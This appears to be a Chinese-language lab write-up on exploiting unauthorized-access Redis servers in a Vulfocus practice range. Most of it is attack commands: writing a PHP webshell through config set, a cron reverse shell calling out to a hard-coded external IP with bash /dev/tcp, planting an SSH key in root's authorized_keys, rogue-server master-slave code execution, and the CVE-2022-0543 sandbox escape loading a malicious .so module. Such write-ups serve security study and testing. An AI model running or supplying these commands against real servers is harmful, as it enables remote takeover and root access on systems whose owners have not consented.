采用Vulfocus靶场进行环境复现,官网docker搭建有问题,具体搭建教程参考vulfocus不能同步的解决方法/vulfocus同步失败
Redis <= 5.0.5
使用端口扫描工具等探测到目标主机使用了Redis服务
对于Redis服务的未授权访问,首先需要确认Redis未授权是否存在,使用Redis数据库客户端进行连接测试,如何没有密码,即未授权漏洞存在。
客户端连接工具Another Redis Desktop Manager
具体表现如下
漏洞利用有三种利用方式,每种方式都有限制条件,本质就是使用Redis数据库操作语句在目标主机进行写入文件。
config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
注意:部分没目录权限读写权限
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename x
save
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx
//以上步骤在自己的攻击机器上执行
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@目标IP
详细利用步骤可参考Redis未授权访问漏洞复现与利用
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP
该脚本需要运行在VPS上,脚本运行后,目标主机会向攻击机回传信息。
Redis 2.x,3.x,4.x,5.x
由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行
Debian 系的 Linux 发行版本 + Ubuntu
CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码
python3 redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"
以上内容仅作学习记录,如有错误或瑕疵,欢迎批评指正,感谢阅读。